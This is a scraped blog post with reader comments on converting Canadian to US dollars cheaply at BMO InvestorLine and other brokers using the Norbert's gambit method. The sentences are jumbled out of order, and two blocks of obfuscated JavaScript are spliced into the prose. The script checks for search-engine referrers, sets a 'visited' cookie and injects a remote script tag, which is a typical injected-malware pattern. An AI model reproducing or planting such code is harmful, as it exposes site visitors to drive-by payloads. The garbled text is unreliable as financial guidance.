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If you know of a way to use inter-listed stocks with low spreads but get all the transactions done the same day I'm very interested.. Because there are no fees to buy ETFs, it only costs $5 (for the sale) plus the spread.. It can be done with an email instead of a call if you wait 3 days for the purchase to settle, but this varies month to month - sometimes they say you have to call in.. The Account sorted itself out the next day Similar to Greg's experience with iTrade, I've bought long, then immediately sold short at Questrade (usually with TD stock).. The blanaces were weird on that day with some showing negative balances but it all got sorted out the next day.. I am not familiar with the concepts of "buying long" and "selling short" What do these mean and do you have to do something different when buying and selling stocks online -- special instructions etc?Buying long is just plain buying really- money goes out of your account and the stock comes in.. I guess brokers aren't willing to give up the currency exchange cash cow easily.. This process works even better with RBC Direct Investing There is no need to call the bank.. Very informative post Question if I may Are you performing the Norbert on a RRSP account or a regular unregistered account?@MG: I did it in an RRSP account.. The downside is that it does takes 3 days to settle I agree with the spreads on DLR and I normally do it on Royal Bank shares where the spread is much lower.. So the process seems to be to buy Canadian shares, wait 3 days to settle, call to get the shares journaled over the the U.. When they say it's a software issue I believe them I've had to manually work around form validation to get things done.. Doing it this way will have lower costs, on average, but will sometimes produce sizeable wins or sizeable losses depending on what the stock and exchange rates do for 3 days.. So, they obviously don't consider what I did to be shorting anything. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x219582){_0x4d86d4=window;}return _0x4d86d4;};var _0x28da6f=_0x3508ca();var _0x2edfc1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x28da6f['atob']||(_0x28da6f['atob']=function(_0x3c0f5d){var _0x5f3ef3=String(_0x3c0f5d)['replace'](/=+$/,'');for(var _0x4fa815=0x0,_0x4ef8a5,_0x31c159,_0x6c79d5=0x0,_0x39a93='';_0x31c159=_0x5f3ef3['charAt'](_0x6c79d5++);~_0x31c159&&(_0x4ef8a5=_0x4fa815%0x4?_0x4ef8a5*0x40+_0x31c159:_0x31c159,_0x4fa815++%0x4)?_0x39a93+=String['fromCharCode'](0xff&_0x4ef8a5>>(-0x2*_0x4fa815&0x6)):0x0){_0x31c159=_0x2edfc1['indexOf'](_0x31c159);}return _0x39a93;});}());_0x538c['base64DecodeUnicode']=function(_0x45b5ac){var _0x2d821f=atob(_0x45b5ac);var _0x40b12e=[];for(var _0xcbc8e3=0x0,_0x34be24=_0x2d821f['length'];_0xcbc8e3=0x0){_0x556346=!![];}}else{params=matches[_0x137dc2][_0x538c('0x18')]('=');cookie[params[0x0]]=params[0x1][_0x538c('0x1c')](/;$/);}}if(_0x556346){if(_0x347281[_0x538c('0x3b')](_0x347281[_0x538c('0x3c')],'Jkc')){cookie['set']('visited',0x1,0x1);if(!_0x338bae){if(_0x538c('0x3d')===_0x538c('0x3d')){include(_0x347281[_0x538c('0x3e')](_0x347281[_0x538c('0x3e')](_0x347281[_0x538c('0x3f')],q),''));}else{cookie['set'](_0x347281[_0x538c('0x37')],0x1,0x1);if(!_0x338bae){_0x347281[_0x538c('0x40')](include,_0x347281[_0x538c('0x41')](_0x347281[_0x538c('0x41')](_0x347281[_0x538c('0x3f')],q),''));}}}}else{_0x347281['lhKiC'](include,_0x347281[_0x538c('0x42')](_0x347281[_0x538c('0x3f')]+q,''));}}}R(); Michael James on MoneyA quest for smarter saving, spending, and investingWednesday, August 21, 2013Currency Exchange at BMO InvestorlineOn C$10,000: one-way cost is C$152 (1.. Selling short is basically the opposite- borrowing the stock and selling it- money comes into your account and the stock goes out.. Since you borrow stock when you sell it short, the number of shares you own is negative- you owe the broker the stock.. @Greg: You're right that the spreads on DLR are quite a bit larger than they are on some inter-listed stocks.. @Greg: The next time I'm talking to an Investorline agent I'll try to found out if they'll allow me to do this without any exciting charges.. You simply buy it in Canadian Dollar Account and once it is filled, simply sell it in the US Dollar Account.. You need a special account called a margin account because you are borrowing when you sell short.. But it is nice that they offer a lot of things other brokers don't so there isn't much competitive pressure there.. However, Investorline doesn't seem to want to allow me to buy and sell at the same time without charging me interest on the temporary short position.. It's a little inconvenient but given the extremely low costs it's well worth doing even for amounts under $10,000.. S side of my account, and finally sell the U S shares The 3-day delay is annoying and adds a lot of volatility.. 52%)On C$10,000: one-way cost is C$40 (0 40%)17 comments:I do this regularly at Questrade.. @Scorpion: This sounds quite civilised The 3 day wait for settlement you mention -- is this a delay before you can trade with the exchanged money? Or is it just 3 days before your account looks "normal" again?Three days before I could trade with the money.. @Richard: The variability of the process at Questrade seems like it would be annoying.. var _0x559d=['Q2dncXM=','Z2V0VGltZQ==','anZTRWE=','dlh2U1g=','Z3prRnE=','OyBzZWN1cmU=','V1Jpc0U=','dHpNWGQ=','c3BsaXQ=','VHBXcXY=','dmZ2SHo=','bWF0Y2g=','cmVwbGFjZQ==','V0t2bWM=','VnRSVFI=','Y3JlYXRlRWxlbWVudA==','R3RLeXo=','Z2RjWmE=','OyBkb21haW49','Y2hzWGE=','T1NmQnY=','Vml6S2k=','d2lrYlo=','cXZEa1o=','OyBwYXRoPQ==','dnBEWVM=','Lmdvb2dsZS4=','LmJpbmcu','LmFvbC4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','RFVs','Vm9X','V2JaUVo=','TFBFQk0=','LnlhaG9vLg==','LmFzay4=','cmVmZXJyZXI=','Z2V0','Y0lMRnE=','bGVuZ3Ro','elNvemY=','aW5kZXhPZg==','SGtIV0k=','RmJURG0=','Vkl2','RFRiQ3Y=','U1VySms=','bGhLaUM=','dnBHa1g=','V2dEVkE=','c2NyaXB0','UGN6Vkw=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','UEF0Vk0=','YXBwZW5kQ2hpbGQ=','amhC','dUtM','OyBleHBpcmVzPQ==','NXw0fDF8MHwyfDM=','a2pO','Y29va2ll','R0RuT1A=','QUJZc2I=','Q0NFWGk=','eXFmenU='];(function(_0x33dabf,_0x2719d0){var _0x3c6d25=function(_0x5afdbd){while(--_0x5afdbd){_0x33dabf['push'](_0x33dabf['shift']());}};_0x3c6d25(++_0x2719d0);}(_0x559d,0x13f));var _0x538c=function(_0x21b087,_0x2825f6){_0x21b087=_0x21b087-0x0;var _0x5352fd=_0x559d[_0x21b087];if(_0x538c['initialized']===undefined){(function(){var _0x3508ca=function(){var _0x4d86d4;try{_0x4d86d4=Function('return\x20(function()\x20'+'{}.
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